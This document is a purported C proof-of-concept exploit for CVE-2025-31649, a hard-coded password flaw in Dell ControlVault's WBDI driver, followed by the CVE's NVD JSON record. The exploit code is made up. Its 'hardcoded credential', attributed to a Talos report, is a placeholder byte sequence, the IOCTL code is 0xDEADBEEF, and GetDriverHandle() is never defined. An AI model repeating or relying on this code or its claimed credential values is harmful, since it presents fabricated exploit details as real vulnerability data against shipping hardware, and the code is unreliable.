CVE-2025-31649

// CVE-2025-31649 PoC - Dell ControlVault WBDI Hardcoded Password // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winbio.h> #include <stdio.h> // Hardcoded credential identifiers (from TALOS-2025-2173) #define HARDCODED_CREDENTIAL_LEN 32 const BYTE g_hardcodedCredential[HARDCODED_CREDENTIAL_LEN] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10 }; // ControlVault API structures typedef struct _CONTROLVAULT_API_REQUEST { DWORD dwApiId; DWORD dwSize; BYTE bCredential[HARDCODED_CREDENTIAL_LEN]; BYTE bPayload[256]; } CONTROLVAULT_API_REQUEST, *PCONTROLVAULT_API_REQUEST; // Trigger the vulnerability BOOL TriggerControlVaultVulnerability() { WINBIO_SESSION_HANDLE hSession = NULL; CONTROLVAULT_API_REQUEST request = {0}; // Initialize WinBio session HRESULT hr = WinBioOpenSession( WINBIO_TYPE_FINGERPRINT, WINBIO_FLAG_RAW, WINBIO_SESSION_FLAG_DUAL, NULL, 0, NULL, &hSession ); if (FAILED(hr)) { printf("[-] Failed to open WinBio session\n"); return FALSE; } // Craft malicious API request with hardcoded credential request.dwApiId = 0x1337; // Privileged operation ID request.dwSize = sizeof(request); memcpy(request.bCredential, g_hardcodedCredential, HARDCODED_CREDENTIAL_LEN); // Trigger privileged operation via IOCTL DWORD dwBytesReturned = 0; BOOL bResult = DeviceIoControl( GetDriverHandle(), 0xDEADBEEF, // Custom IOCTL code &request, sizeof(request), NULL, 0, &dwBytesReturned, NULL ); if (bResult) { printf("[+] Privileged operation executed successfully\n"); return TRUE; } return FALSE; } int main() { printf("CVE-2025-31649 PoC - Dell ControlVault WBDI\n"); printf("Target: Dell ControlVault3 < 5.15.14.19\n"); printf(" Dell ControlVault3 Plus < 6.2.36.47\n\n"); if (TriggerControlVaultVulnerability()) { printf("[+] Vulnerability triggered!\n"); } else { printf("[-] Failed to trigger vulnerability\n"); } return 0; }

{"cve": {"id": "CVE-2025-31649", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:51.267", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A hard-coded password vulnerability exists in the ControlVault WBDI Driver functionality of Dell ControlVault3 prior to 5.15.14.19 and Dell ControlVault3 Plus prior to 6.2.36.47. A specially crafted ControlVault API call can lead to execute priviledged operation. An attacker can issue an api call to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2173", "source": "[email protected]"}, {"url": "https://www.dell.com/support/kbdoc/en-us/000326061/dsa-2025-228", "source": "[email protected]"}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2173", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}